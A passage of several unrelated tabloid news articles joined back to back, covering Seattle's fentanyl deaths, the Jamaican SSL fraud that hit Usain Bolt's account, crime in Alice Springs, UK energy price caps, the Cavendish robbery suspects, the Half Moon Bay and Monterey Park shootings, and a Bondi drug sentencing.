'People do not realize that they are taking fentanyl,' Khan said.

He also added that fentanyl is the 'biggest driver' of the overdoses and that the drug is being found in 'white powder and in fake pills, which are flooding the streets.'

Officials say they are looking into temporary options to counteract the finite amount of space available in the morgues

310 homeless individuals died in 2022, the vast majority from drug overdoses

Last year, the public health agency gave out more than 10,000 kits of naloxone, the opioid-overdose reversal medication.

They also handed out around 100,000 fentanyl test strips and have upped public campaigns about awareness of the deadly substance's presence in other drugs.

The shocking numbers indicate the actions have done little to help tackle the ongoing drug and fentanyl epidemic.

Part of the problem can be traced back to the Washington state Supreme Court's decriminalization of drugs back in 2021.

In February 2021, the court ruled 5-4 that Washington law outlawing possession of drugs such as cocaine, methamphetamine, and heroin for personal use was unconstitutional.

The decision resulted in the immediate wiping of drug possession convictions and dismissal of drug charges, some dating back 40 years.

Officials have also faced backlash for not listening to calls for stricter drug laws from constituents, and have mostly doubled down on their harm reduction methods.

Last year, the public health agency gave out more than 10,000 kits of naloxone, the opiod-overdose reversal medication

They also handed out around 100,000 fentanyl test strips

Part of the problem can be traced back to the Washington state Supreme Court's decriminalization of drugs back in 2021

Seattle's homeless, crime, and drug problems have now become so dire that many businesses are fleeing the downtown area.

Just days ago, DailyMail.com reported that Seattle lost its downtown Nike flagship store and multiplex movie theater amid the ongoing issues.

On Friday it was announced the Nike at the corner of Sixth Avenue and Pike Street would shut its doors for good

Nike's exit came right after Regal Cinemas announced it would reject the lease of the Meridian 16 multiplex located on Seventh Avenue and Pike Street.

Seattle's homeless, crime, and drug problems have now become so dire that many businesses are fleeing the downtown area

Just days ago, DailyMail.com reported that Seattle lost its downtown Nike flagship store and multiplex movie theater amid the ongoing issues

While Nike has yet to comment on why it's shutting down the store after more than 26 years of service, local residents told the Seattle Times that street crime was likely among the biggest motivators for the departure.

Shoppers in downtown Seattle were devastated as they visited the Nike store for the last time on Friday, fearing it might be the start of a new wave of exits from the city.

Richard Green - a Nike fanatic who was dressed head to toe in the brand, including socks and underwear - told the Times he was 'heartbroken' over the closing.

'I had big plans for this year,' Green said of his shopping habits as he stared into the closing store, which had security guards watching over the mourning customers.

According to the recent figures from the Seattle Police Department, 2022 was on its way to matching the previous year's figures in terms of crime.

As of November 2022, police reported 285 rapes, 1,654 robberies, and 3,258 aggravated assaults.

Murder, however, was the only figure that surpassed 2021's year-end count, with 48 reported before 2022 was done, a 12.5 percent increase.

According to the King County Medical Examiner's Office, at least 18 homeless people were killed in 2022, and among them was Trenton Harris, 30, who was fatally shot four times in July.
Officials in Jamaica have asked the FBI to assist in a widening probe into an alleged multi-billion fraud spanning more than a decade, which came to public attention with the disappearance of Olympic star Usain Bolt's $12.7 million retirement fund.

Jamaican Finance Minister Nigel Clarke said on Monday he had asked the FBI and other international partners to join the investigation of investment firm Stocks and Securities Limited (SSL).

Bolt's attorney last week revealed that his investment account with SSL, representing a substantial fraction of Bolt's estimated $90 million fortune, had inexplicably dwindled from $12.7 million to just $12,000.

SSL blames any discrepancies on a rogue former employee, but Clarke revealed that evidence suggests a long-running 'pilferage' scheme dating back to at least 2010, potentially involving billions in stolen client funds.

Officials in Jamaica have asked the FBI to assist in a widening probe into an alleged multi-billion fraud spanning more than a decade, in which Usain Bolt (above) is a victim

'This fraud is one of the largest securities frauds in the last two decades,' Clarke said at a press conference.

Clarke said the alleged fraud appears to have been 'specifically targeted' at certain SSL clients, who received statements for their investment accounts that did not match their actual balances.

Officials previously said a number of 'elderly investors' were among those allegedly targeted in the scam.

The finance minister said he had asked the FBI and other law enforcement partners to provide 'international forensic auditors to help unravel this 13-year fraud so we can bring to justice all perpetrators and all co-conspirators.'

The FBI and representatives for SSL did not immediately respond to requests for comment from DailyMail.com on Monday evening.

'The central issue is, my fellow Jamaicans, is how did this fraud, this alleged fraud, go undetected for 13 years, between 2010 and 2023. Perhaps even longer,' said Clarke.

'Over this entire period, this alleged fraud was being perpetrated,' he said.

Clarke vowed transparency in the investigation, and said a full chronology of regulatory interactions with SSL would be released to the public.

The finance minister lamented in his remarks that 'the coverage of this fraud in every major media outlet across the globe is a source of great embarrassment to Jamaicans here, and in the diaspora'.

'I feel the full range of emotionsanger, disgustand, like many Jamaicans, I am deeply pained by these events,' he added.

'This is a body blow to Jamaica and has the unfortunate impact of tarnishing Jamaica's global reputation.'

Jamaican Finance Minister Nigel Clarke said on Monday he had asked the FBI and other international partners to join the investigation of investment firm SSL

The head office of Stocks and Securities Ltd. (SSL), one of just 15 registered broker/dealers on the Jamaican Stock Exchange, and now embroiled in a widening scandal

Clarke on Monday confirmed that he had asked for the resignation of Financial Services Commission director Everton McFarlane amid growing criticism over the regulatory agency's handling of the alleged fraud at SSL.

SSL is a boutique brokerage and wealth management firm founded in 1973, and is one of just 15 registered brokers on the Jamaican Stock Exchange.

SSL's website has removed the listing of its two directors, Jeffrey Cobham and Hugh Croskery, and a notice on the site says the firm is now under the control of the Financial Services Commission (FSC).

Cobham is a former managing director of the National Commercial Bank and has served as a director of Sagicor Life Insurance, though Sagicor appears to have recently removed his bio from its company website.

Croskery is SSL's founding member, and previously sat on the board of directors for the Jamaica Stock Exchange.

Bolt's attorney Gordon previously provided the Associated Press with a copy of a letter he had sent to SSL, saying that his client's deposit of $12.7 million had inexplicably dwindled to $12,000 and demanding that the money be returned.

'We will be going to court with the matter' if the company does not return the funds, Gordon told Reuters.

'It is a grave disappointment, and we are hoping that the matter will be resolved in a way that Mr. Bolt will recover his money and be able to live in peace.'

SSL's website has removed the listing of its two directors, Jeffrey Cobham (left) and Hugh Croskery (right), and a notice on the site says the firm is now under the control of the FSC

Croskery (above) is SSL's founding member, and previously sat on the board of directors for the Jamaica Stock Exchange

Bolt's account was intended to serve as a pension for the eight-time Olympic gold medalist sprinter and for his parents, Gordon said.

Bolt, 36, has an estimated net worth of around $90 million, and at the height of his career he was said to be earning more than $30 million annually.

Considered one of the greatest sprinters of all time, Bolt retired in 2017 after dominating the sport for a decade and becoming a household name.

On January 12, SSL said in a statement that it had become aware of fraudulent activity by a former employee and had referred the matter to law enforcement, adding that it had taken steps to secure assets and strengthen protocols.

On the same day, Jamaican regulators announced 'enhanced oversight' of SSL and demanded a full view of all transactions at the firm, including 'the movement of funds, and of securities into and out of SSL.'

On January 13, the Financial Services Commission (FSC) stepped up its oversight by appointing a special auditor to oversee SSL.

The Jamaica Constabulary Force said on January 16 that its fraud and financial investigation teams were probing 'alleged fraudulent activities at (SSL) which are said to have affected the accounts of Mr. Usain Bolt among other individuals.'

Bolt was reportedly earning over $31million a year at the height of his running career

On January 17, the FSC took dramatic action, taking full control of SSL and naming Kenneth Tomlinson of Business Recovery Services Limited as the brokerage's temporary manager.

'Like all Jamaicans I am in shock, and feel a profound level of anger and disgust, at the alarming and evil fraud that has allegedly been committed at Stocks and Securities Limited, and which is the source of public discussion and anxiety at this time,' said Finance Minister Clarke in a statement.

At a press conference on January 18, FSC Executive Director Everton McFarlane vowed to publicly disclose the outcome of the investigation into alleged fraud at SSL. McFarlane has since resigned under pressure

As of January 17, SSL had removed the listings of its officers and directors from its website, which directed urgent inquiries to the FSC.

'Further to our press release on January 12, 2023, please note the company is currently under the direction of the Financial Services Commission (FSC) and so responses from SSL may be delayed at this time,' the notice said.

'We understand that clients are anxious to receive more information and assure you that we are closely monitoring the matter throughout all the required steps and will alert our clients of the resolution as soon as that information is available,' it added.

'Do contact the Financial Services Commission with urgent queries. Thank you for your patience and kind understanding.'
Dr Shola Mos-Shogbamimu told Good Morning Britain that the Duchess of Sussex's decision to stay in California next month is what 'any wife who has bad in-laws' should do. She also insisted that Meghan has refused to go to 'draw a line in the sand' with Harry's family - and control what royal events she attends - not because she might receive a negative reaction from the British people. King Charles, who gave Meghan away on her wedding day, is said to be 'very disappointed' that he won't see the Duchess of Sussex or his grandchildren at his Coronation next month, but is 'happy' that Prince Harry has decided to attend, royal sources have claimed. Sources close to Meghan have insisted her non-attendance is definitely not a 'snub', not least because May 6 is Archie's birthday. But Ms Mos-Shogbamimu, a British-Nigerian lawyer and activist who recently wrote an anti-racism book called: ' This Is Why I Resist', said Meghan's decision to stay at home is inspirational. She said: 'I think Meghan's decision to say no to the most powerful family in Britain and to say no to the most talked about party in town is both admirable and inspiring. What Meghan is doing is exercising the power of no that comes from a place of self-worth, growth, maturity and self preservation'.
A baker living in an outback town overrun with violence has unleashed at the 'disgraceful' lack of action on the issue by Anthony Albanese's government.

Darren Clarke's bakery in Alice Springs in the Northern Territory has been broken into 41 times in just three years.

The town has recently descended into chaos with gangs of youths roaming the streets at night, breaking into businesses and engaging in extreme violence.

The Prime Minister flew to Alice Springs on Tuesday amid mounting pressure to visit the town and address its crime problem that locals say is now 'out of control'.

Mr Clarke, who runs the Facebook page Action For Alice 2020, took aim at NT Police Minister Kate Worden, and called for her to resign.

Darren Clarke's bakery in Alice Springs, in the Northern Territory, has been broken into 41 times over three years

'Anthony Albanese when he gets off the plane, the first thing he should say to (NT Chief Minister) Natasha Fyles is ''Kate Worden, go'',' he said in a fiery interview with Sky News on Tuesday.

'She has to go and she has to go today.'

Crime levels in the Outback town have escalated since the government lifted bans on alcohol in July.

Problems were 'immediate', police said, when the Stronger Futures in the Northern Territory Act ceased on July 17, 2022, meaning alcohol was available for the first time in many of the Territory's Indigenous settlements since 2007.

Prime Minister Anthony Albanese (above) is visiting Alice Springs for the first time since he was elected following mounting pressure to address the town's major crime problem

Local business owner Mr Clarke called on NT Police Minister and Minister for Families Kate Worden (pictured) to resign

'I've been broken into 41 times,' Mr Clarke said, adding many other locals had experienced the same.

'This place is totally out of control, the violence on the streets is out of control, the domestic violence you see out on the streets every night and through the day is out of control and something needs to be done.'

Youths have terrorised the town's residents by lingering around the CBD at night, while many have taken to breaking into residents' homes.

Mr Clarke said the vandalism was often just 'senseless violence', but added some youths were breaking into homes and businesses for alcohol and to steal car keys.

'They're going in with sharp-edged weapons, they're going in with machetes, tomahawks, hunting knives,' he said.

'Something has to give and something has to give immediately.'

Alice Springs has faced a wave of youth crime in recent years (pictured, a young man attempting to break into Alice Spring's Todd Tavern)

WHY THE KIDS ARE RUNNING WILD Darren Clarke, who started the campaign to spotlight the violence in Alice Springs, earlier told Daily Mail Australia that Indigenous kids were coming into town and committing crimes and acts of violence to get away from alcohol-fuelled violence at home. 'These kids are not in safe, there's alcohol being drunk in the town camps, there's blood on the walls at home, kids see people being hurt and the kids are being raped and abused. 'You have to save the kids but no-one will speak out about it because everyone is scared about the Stolen Generation. 'That's what's inhibiting kids being put into a safe spot. 'I'm a white person, but people like (Federal Alice Springs MP) Marion Scrymgour is calling out the NT Government at the moment, that's very brave.' Mr Clarke was referring to the lapse of the government's previously strict alcohol laws which ensured a 'grog ban' in Alice Springs' roughly 30 tow camps. 'I run a bakery in town and my partner and I have spent a lot of time with young girls who are in town in the middle of the night because (they say) ''my auntie has been bashed and bashed and there's blood all over the walls''. 'Or ''Dad's mate came into my bedroom and tried to touch me''. It breaks your heart.' Advertisement

Mr Clarke said he had seen people be hit in the head multiple times with tyre levers.

'A woman got stabbed in a domestic violence issue here in town, she actually nearly had her head cut off, they cut her from one ear to the other,' Mr Clarke said.

'Our government in the NT has completely failed the community of Alice Springs and the people that live here.'

Mr Clarke called on Mr Albanese to clean up the streets and provide a safe facility out of town for neglected children to live in.

'Mr Albanese is going to places where rivers are overflowing ... come over mate because the rivers of grog are overflowing,' he said.

'Get up here and have a crack and show some leadership.

'It's not just people like me getting broken into, Indigenous people all through this community are getting hit. We've had four Indigenous businesses broken into this week.'

Mr Albanese will be joined by Ms Fyles on Tuesday to discuss the growing crisis with locals.

This club was broken into at 1am and alcohol was stolen, and when police were called they were 'too busy' to attend the incident

Some residents say they are living in fear and forced to hide indoors as gangs of hundreds of children, some as young as five, run riot on the streets.

When police are called, no-one answers or officers are too busy elsewhere to attend.

Mr Clarke earlier told 2GB that the problem was due to behaviour, not race.

'The whole town is suffering. It doesn't matter what colour you are,' he said.

'They don't discriminate. They attack you. These kids are crying for help. They've got no mentors.'

The business owner had earlier put a call out for the PM to see for himself how overrun with violence Alice Springs had become.

One homeowner's security camera caught this person carrying a knife when a group of kids broke in, unperturbed by the alarm and ate his food and watched TV before trashing the place

'I'll take you round to some of these kids and have a sit down with them mate. Listen to the kids,' he said.

'Listen to what they see in their homes. The blood splattered on the walls, the cries their aunties bashed on the ground.

'It's time, people. You want a voice Albo, you want a voice? Come up here.'

Local MP, Marion Scrymgour, member for the federal seat of Lingiari, said the removal of the grog ban had led to a level of violence she had never encountered.

'I just find it unacceptable in this day and age that the violence against Aboriginal women in this town raises very little urgency from anyone  it's appalling,' Ms Scrymgour told The Australian.

She said there was also the issue of lawlessness among youths.

'They don't respect law or culture anymore and then there's the adults and the level of violence, and it's not just male on male or male on female, there's a really bad level of violence of female on female and particularly under the influence of alcohol,' she said.

'I've seen some horrific fights in and around the town area of Alice Springs where women are just drunk and just stomping on (other women's) heads.'

Ms Worden's office has been contacted by Daily Mail Australia.
The energy price cap might drop below the 3,000 mark as early as April, the boss of Ofgem has said in a prediction that could save the Government billions of pounds - though subsidies would still be required for vulnerable households.

Jonathan Brearley said that it was 'possible' that falls in the wholesale cost of gas and electricity could mean that bills would fall below that level for the average household.

It is more optimistic than recent projections from independent analysts at Cornwall Insight, who last week forecast the price cap would still top 3,200 in April before falling significantly in July.

If the price cap falls a little below 3,000 for the average household in April it would only save customers a small amount as they were set to pay 3,000 anyway under the Government's price guarantee.

The energy price cap might drop below the 3,000 mark as early as April

Jonathan Brearley, Ofgem chief executive (right) said that it was 'possible' that falls in the wholesale cost of gas and electricity could mean that bills would fall below that level for the average household (Eon chief executive Michael Lewis left)

It could however save billions in taxpayer money. The Government has promised to pay suppliers to make up the difference between what they are allowed to charge customers and the price they have to pay to buy energy.

It comes as National Grid rolled out its Demand Flexibility Service (DFS) for the first time on Monday to reward people for cutting power between 5pm and 6pm.

More than a million households have already signed up to the measure, with 26 energy suppliers, including British Gas, EDF, Eon and Octopus Energy participating.

But some consumers complained they'd been awarded a paltry sum for cutting their energy consumption.

Most of the UK's energy suppliers have signed up to the Demand Flexibility Scheme that will pay families to keep their electricity switched off during peak times this winter - as long as they have a smart meter

Speaking at an Institute for Government event yesterday, Mr Brearley said predictions for gas prices were still very uncertain, but sounded a rare note of optimism for troubled bill payers.

'On our current projections, although gas prices do remain volatile, the price cap level may fall below the energy price guarantee level in July, and possibly do so as early as April,' he said.

'This will save billions of pounds of the expected public spending on that measure.

'Although highly uncertain, it's possible that prices may fall well below this throughout the summer, which would be welcome news for all customers, both households and business.'

Mr Brearley also reiterated his support for a new 'social tariff', which would mean that less well off households pay less for the energy they use.

'The root cause for some customers, despite the enormous widespread support by Government, is their inability to pay for their basic energy needs,' he said.

'Therefore, we think there is a case for examining, with urgency, a social tariff that limits the impact of extremely high prices and reduces volatility for a defined set of vulnerable groups.

'To be clear, this tariff would need to be subsidised when prices are high, and preferably paid for through funds raised in a progressive way.'

A general view of Drax Power Station behind residential houses in Drax, North Yorkshire, Britain, 23 January 2023

Households have rushed to sign up to a scheme that pays them to turn off washing machines, ovens, dishwashers and even the lights

He said it was down to the Government to decide how to design such a tariff, including deciding who to target it at.

In a wide-ranging speech Mr Brearley said the UK needs to move 'as rapidly as possible' away from the international gas market, which has been manipulated by Russia over the last two years.

To help with this, he called for the biggest build-out of new energy infrastructure in more than half a century.

'We will need to build new energy infrastructure at a pace not seen for decades,' he said.

'When you look at our history, the period immediately after the Second World War most closely resembles the pace and scale that we need to build.

'From 1950 to 1970, Great Britain's electricity generation capacity expanded around fourfold its original size.

'Since then, the system has been largely stable in terms of our networks.'

Mr Brearley added: 'To meet the scale of future energy demand between now and 2050, we will need again to build out our infrastructure  onshore, offshore and connecting to other countries  at an extraordinary pace not seen for over half a century.

'This is a huge challenge, but also a huge economic opportunity.'
Has Harrys betrayal of family secrets in Spare thrown a spanner in the works of the official biography of the late Queen? For the last such work, William Shawcrosss life of the Queen Mother, he was given full access to her personal papers in Windsors Royal Archives. With a shortlist of potential biographers currently being assembled by Buckingham Palace, it will prove impossible, after Spare, for any Royal Boswell not to deal with the Sussex saga and quote from personal correspondence and diaries which might just inflame tensions across the pond. Shawcrosss opus took six years to complete, so any official history of the Queen wont appear in a hurry. But has Harrys so-called truth further postponed the story of the monumental life of his grandmother?

Has Spare thrown a spanner in the works of the official biography of the late Queen?

King Charless pledge to donate the profits from a 1billion-a-year Crown Estate wind farm deal for the wider public good has been debunked by former cabinet secretary Lord Andrew Turnbull. Its not his money to give, he insists, explaining that King George III surrendered the Crown Estate surplus to the Exchequer in return for a fixed payment. So these revenues havent been the Kings to distribute for more than 250 years, argues the peer. It is part of an elaborate hoax to give the impression to the public and Parliament that the sovereign grant was paid for out of the monarchys own income rather than taxation. There goes your invitation to the Coronation, Andy!

Solaris star Natascha McElhone, pictured, is prouder of the book she wrote about the grief of suddenly losing her 43-year-old husband Martin in 2008 than she is of her acting. Its there for my kids if they want to know exactly what it was like for me, the mother-of-three tells Radio Times, referring to After You: Letters Of Love, And Loss, To A Husband And Father. My book was prosaic because it was just, How do I get on with life in this situation? How do I get through my to-do list? She adds: But I havent read it since it was published. I dont think I ever will.

Solaris star Natascha McElhone, pictured

Will impressionist Rory Bremner be invited to the Coronation? Perhaps not if Charles remembers his 50th birthday shindig when Rory rewrote the words of Talk To The Animals from Dr Dolittle. I sang, I know my onions, both the scallion and the spring, recalls Rory. Charles pointed out that scallions are spring onions. So he really does know his onions!

After the postponement of next months 140,000 theatrical tour In Conversation With Sarah, Duchess Of York, Fergie is top of the wanted list for Australias version of Im A Celebrity. Should she decline, perhaps ex-hubby Andrew, with an empty diary, could be tempted? Might the show be renamed Im A Celebrity...Get Me Back My HRH?

When David Crosby split from The Byrds he blamed band leader Roger McGuinn for replacing him with a horse when the remaining members peered from a stable on the cover of their first album. McGuinn quipped: If we had intended to do that, we would have turned the horse around.
A man who police believe is linked to the robbery of Mark Cavendish 'shaved all his hair off' to avoid being caught by police, it has been claimed.

Suspect Jo Jobson was spotted near his home just two weeks ago while police have worked to track him following the attack on the Olympic cyclist, The Telegraph reports.

It was alleged that the 26-year-old has laid low in east London and shaved his red hair to avoid being recognised by officers.

Police are still looking for Jobson as well as another suspect of the 2021 attack that saw balaclava-clad burglars break into Cavendish's Essex home.

Jo Jobson (pictured), 26, has been sought by police for a year following the November 2021 attack

A woman who knows Jobson told the newspaper: 'He was staying somewhere in Canning Town two Saturdays ago..

She added that he was 'moved on to Liverpool and shaved all his hair off. I dont know if hes gone to Liverpool definitely, but thats what the boys were saying.'

In 2021, the British cyclist was alseep alongside his wife Peta when burglars broke into his home in the Ongar area of Essex.

Cavendish was beaten in front of his wife while a number of items were stolen - including two phones and a safe - costing a total of 700,000.

Last year police reportedly raided the home of Jobson but he was not there at the time, with some suspecting he was tipped off.

CCTV image taken from the property of Mark Cavendish showing two suspects during a robbery on November 27, 2021

Robbers took items including two Richard Mille watches with a combined value of 700,000.

George Goddard, 27, also named as a suspect in the case has not been apprehended.

It is reported that police believe Goddard may have left the country, but some neighbours believe Jobson could still be nearby in the east London area.

Yesterday, Romario Henry, 31, was found guilty of the knifepoint raid at the property following a trial at Chelmsford Crown Court.

The Olympic cyclist, 37, was asleep alongside his wife Peta (pictured together) when balaclava-clad burglars broke into his home

Henry, 31, of Lewisham, south-east London, denied two counts of robbery but was found guilty on both counts by a majority verdict of 10 jurors to two following 14 hours and 35 minutes of deliberation.

His co-defendant Oludewa Okorosobo, 28, of Camberwell, south London, denied two counts of robbery and was cleared by the jury.

Last year, Ali Sesay, 28, pleaded guilty at Chelmsford Crown Court to robbing Cavendish of a watch, phone and safe, and to robbing the athlete's wife of a watch, phone and suitcase.

Speaking outside court on Monday, Detective Inspector Tony Atkin, of Essex Police made an appeal to camera for Jobson and Goddard to hand themselves in.

He said: 'Today, two men are facing a significant amount of time in prison for their actions.

'But we wont stop there; two men who we would really like to speak to about this investigation remain outstanding.'

'Jo Jobson and George Goddard are those men. Although I cant go into significant detail, we are following a number of lines of enquiry in order to locate them. The actions we believe they are responsible for cannot go unpunished.

'I would like to appeal to Jo Jobson and to George Goddard to hand themselves in.

'If not, I will say this: we will pursue you. It is in your interests to hand yourselves in. You can only hide for so long.'
Chunli Zhao, 67, was taken into custody on Monday accused of murdering seven farm workers in the Half Moon Bay area

A 67-year-old veteran farm worker has killed seven fellow Chinese agricultural laborers in what local news described as a workplace dispute.

Chunli Zhao, who lived in Half Moon Bay, was arrested and is 'fully cooperating' with law enforcement, officials said.

The shootings took place at two separate locations in Half Moon Bay, with four shot at a facility run by Concord Farms, and three at Mountain Mushroom Farms two miles away. Officials are unsure which was attacked first.

Children were present at the time, because some of the workers lived on-site with their families.

An eighth person was shot and injured, and airlifted to Stanford Medical Center.

ABC7 News confirmed that the suspect, who lived in Pescadero, had worked for decades at one of the mushroom farms where the shooting took place, and all victims were co-workers.

Dramatic footage from ABC News shows the moment Zhao was taken into custody, in the parking lot of the Half Moon sheriff's office, at 4.40pm.

His maroon Lexus SUV had been spotted leaving the scene, and was then seen at the sheriff's office. A weapon was found in his vehicle: Zhao is believed to have acted alone, and is cooperating with law enforcement.

The killings come less than 48 hours after 72-year-old Huu Can Tran shot and killed 11 people celebrating Lunar New Year in Monterey Park, near Los Angeles.

Sheriff Christina Corpus of San Mateo County said: 'This kind of shooting is horrific.

'It's a tragedy we hear about too often, but today it has hit home to Half Moon Bay.'

Chunli Zhao, 67, is pictured on Monday afternoon as he is arrested by San Mateo County officials

A suspect is now in custody in the Half Moon Bay shootings. Here's the intense moment it happened - caught on video by our @abc7newsbayarea camera pic.twitter.com/1ZGcLh8Byz  Liz Kreutz (@ABCLiz) January 24, 2023

Corpus added: 'We're working with our district attorney's office to interview the suspect.

'He's believed to be a worker. We don't have the exact connection at the time - we are working to try and gather more information.'

Corpus said they think the weapon found in his SUV was the one used in the shooting, but they are yet to confirm whether he held the weapon legally. She could not confirm whether he had a criminal history.

Corpus said that the children were on the scene because school had finished.

'For them to witness this is unthinkable,' she said.

Police in the Half Moon Bay area are seen approaching the suspected killer on Monday afternoon

They grab Zhao by the hand, and wrestle him to the ground

Zhao is seen being restrained and searched, before he is handcuffed and put in the police car

Sheriff Christina Corpus is seen on Monday evening addressing a press conference

Supervisor Dave Pine said that the gun violence plaguing the United States 'has to change'

Police are seen at the site of one of the two shootings in Half Moon Bay

The first call was made to police at 2:22pm on Monday afternoon

Police are pictured at the scene of one of the Half Moon Bay shootings

Zhao is believed to have worked at one of the sites for many years: police are confirming the details of his employment

The sheriff's office confirmed at 5pm that they had the suspect in custody.

'There is no ongoing threat to the community at this time,' they said in a tweet.

Half Moon Bay is a small community of 12,000 people in the Bay Area's Peninsula. The city sits less than 30 miles outside of San Francisco.

Dave Pine, president of the San Mateo County Board of Supervisors, told a press conference: 'There are simply too many guns in our country.

'This has to change.

'This is not an acceptable way for a modern society to operate.'

Pine and his colleagues urged local residents to take advantage of mental health support being offered by the community.

Gavin Newsom, the governor of California, tweeted: 'At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay.

'Tragedy upon tragedy.'

Marc Berman, a congressman whose district includes Half Moon Bay, tweeted: 'Two hours ago I joined my colleagues on the Capitol steps for a vigil for the victims of the shooting in Monterey Park.

'Before we've even had a chance to mourn them, there is yet another mass shooting - this time in Half Moon Bay. In my district.'

He added: 'We MUST do more to address the epidemic of gun violence in our communities and across America.

'How many more lives will be senselessly cut short today? Tomorrow? This year?'

Jackie Spier, a congresswoman who represented Half Moon Bay until the beginning of this year, demanded more be done to address gun violence.

'A mass shooting has now hit my beloved community of Half Moon Bay, one of the last places one would expect such a abominable act. We celebrate pumpkin festivals and holiday parades there.

'When will Congress have the guts to really DO something about gun violence?'
Timothy Tregoning is pictured outside Waverley Local Court on Tuesday

The ex-husband of P.E Nation co-founder Claire Tregoning bought a $600 bag of cocaine on the same day she told him not to come home, a court has heard.

Timothy Tregoning, 41, pleaded guilty in November to possessing a prohibited drug after police found him with 0.92 grams of cocaine at Bondi Beach on September 30.

The father-of-two was supported in Waverley Local Court on Tuesday by his parents and lawyer Bryan Wrench, as he avoided a criminal conviction and was placed on a good behaviour bond.

During his sentencing, the court heard Tregoning was 'unravelling' when he bought the bag of cocaine due to a distressing phone call with his now-ex wife, activewear mogul Claire.

Tim Tregoning (pictured with ex-wife Claire) pleaded guilty to drug possession in November

Tregoning was supported by his parents and his lawyer Bryan Wrench (pictured together outside court) when he appeared in Waverley Local Court

Mr Wrench told the court his client was experiencing weight loss and muscle spasms during that period of time, and was 'approaching a separation' at the time of the offence.

The magistrate told the court: 'He was distressed and he realised it was confirmation that he felt like he was using his wife and children.'

'He wanted to feel a sense of numbness and went ahead with the purchase of cocaine.'

The couple quietly ended their 11-year marriage eight months ago, but the court heard on Tuesday that Claire wrote a glowing character reference.

'She writes very highly of him and is supportive of him,' the magistrate told the court.

The court heard Tregoning had a number of sessions with psychologists and psychiatrists after he was charged with drug possession to help him with his depression and ADHD, which leads to him acting 'impulsively'.

Timothy Tregoning, 40, pleaded guilty in November to possessing a prohibited drug after police found him with a small, resealable bags of cocaine at Bondi Beach

Claire Tregoning, 42, (left) confirmed her split from husband Timothy, 41, (right) after they separated eight months ago

According to the police statement of facts, Police saw Tregoning waiting outside a hotel on Bondi Road, before a silver Mazda 3 with green P-plates picked him up.

The pair drove around the block, before the driver dropped Tregoning back in the spot where he was picked up.

In his sentencing remarks, the magistrate said the 'prevalence of dial-a-dealer' cocaine crime in Sydney's eastern suburbs is 'at a higher level' around Bondi Beach and police are on the look-out for potential offenders.

However, he noted that Tregoning co-operated with police when he was apprehended, and told them the cocaine was in the right-hand pocket of his pants.

The magistrate told Tregoning to stand in court, and said: 'Its critical at this time when youre going though a lot that you dont attempt to self medicate.'

He urged the cinematographer not to turn to alcohol, reminding him it is 'not a crutch' to rely on.

'Make sure over the next 12 months, you continue doing what you're doing,' the magistrate said.

'Make sure in terms of the treatment you have in place, they are your first port of call as opposed to alcohol.'

The P.E Nation co-founder and filmmaker who share two children together (pictured), kept their break-up under wraps for most of last year

Tregoning avoided a criminal conviction for the drug offence.

He was fined $550 after he was caught driving a car to a mechanic in Avalon, in Sydney's Northern Beaches, in November without an interlock device.

Interlock devices are used to test the blood-alcohol level of some drink-driving offenders.

A motorist must pass a breath test before driving, or Interlock will prevent the vehicle from starting.

When asked whether he was happy with the result outside court, Tregoning told Daily Mail Australia: 'Yeah, absolutely.'

It comes just weeks after his activewear mogul wife Claire Tregoning confirmed she and Timothy had quietly split eight months earlier.

'It is very amicable, we still love each other, we are co-parenting and he remains a great friend,' she told the Sydney Morning Herald.

'Things change and that's just what happened for us, but we are getting through that with a lot of respect and support for each other.'

Rumours emerged last November that the pair had quietly split after they deleted each other from Instagram and stopped posting loved up pictures.

They spent most of their marriage renovating their family home in Avalon, in Sydney's northern beaches, and raising their two children.

From relaxing family weekends to lavish trips away, the businesswoman was constantly tagging her cinematographer husband in Instagram posts with their kids as she wore P.E Nation gear.

Timothy Tregoning and his wife Claire (pictured right, with her business partner Pip Edwads) split eight months ago

During interviews in 2020, the pair spoke about how they relied on each other for support during lockdown - with Claire adding that her husband travelled a lot for work, so 'both being locked down has been amazing'.

In December of that year, she shared with her 19,000 followers a photo of herself passionately embracing her husband while they lay in bed together during a Tasmanian holiday, with the caption 'Lover'.

On Father's Day last year, Claire posted an image of Timothy and their kids eating croissants together on the deck of their $1.2million renovated 'shack' - gushing about how he's a 'beautiful chaotic loving dad' to their 'crazy cubs'.

'The love you shower our crazy cubs in is endless. Your journey and growth as a father has been an inspiring one to watch. We love you,' she wrote.

It was the last time he featured on her feed.

Since then, Claire has been on holidays to Tasmania and Los Angeles, a ski trip to New Zealand, and two jaunts to London - splashing her getaways on Instagram, tagging friends and family members each time.

Her husband, however, had been notably absent from her feed.
The Monterey Park killer Huu Can Tran, 72, was an 'unhappy' man without 'family, money or a future' who had built up a store of grievances against his ex-wife, and the owners and instructors at the two dance halls where he massacred 11 people on Saturday night.

Speaking in an exclusive interview with DailyMail.com, a former friend who asked not to be named for fear of a backlash, described Tran as mistrustful of other people and paranoid.

He said: 'He was very distrustful of people and he was angry towards lots of people.

'He spent years accumulating unhappiness and disgruntlement towards people.

Huu Can Tran, 72, shot himself on Sunday in a van after being surrounded by SWAT teams. His motive for the rampage at Star Dance Studio remains unconfirmed, but police sources say it was a 'domestic dispute'. He is shown in surveillance footage from Saturday

Floral tributes pile up at the site of the weekend massacre carried out by Huu Can Tran

People left floral tributes at the site of one of the shootings on Monday throughout the day

'He was always complaining about people, especially the bosses of those two studios and the instructors who worked there. He would say, 'they're not nice to me' and 'they're saying evil things behind my back'.

'I think he was paranoid, delusional.'

The 76-year-old man said he first met Tran over a decade ago, when he rented an apartment in Arcadia, California from him.

He said things had initially gone well, and that he had always paid his rent on time.

But that changed when Tran sold the apartment and the two men moved into a different property together.

Hero Brandon Tsay, 26, wrestled the gun out of Huu Can Tran's hands after he showed up at the Lai Lai Ballroom and Studio in Alhambra on Saturday night looking for more victims. Tran, shown in a hat and wearing all black, had just killed ten people at another studio

Shortly after he was spotted at the hospital for treatment, Tran was pulled over by police. A SWAT team swarmed the van after a three-hour long standoff

He says they had begun the tenancy as friends but that changed after he took a month-long vacation in Taiwan.

The former friend said: 'When I came back, I found a cold shoulder and a stone face.

'He wouldn't talk to me at all.'

When the friend moved out, Tran then attempted to withhold his $750 security deposit - claiming he had broken a sink when it had merely been left dirty.

The dispute eventually ended up in court - the judgment, awarded in January 2015, went against Tran and he was ordered to repay the money plus $300 in costs.

'He was trying to find all sorts of reasons for the deposit to be gone,' the ex-friend said. 'I won the case and as soon as we stepped out of court, he cut me a check.

'That was the last time I saw him - I didn't want to see his face again.'

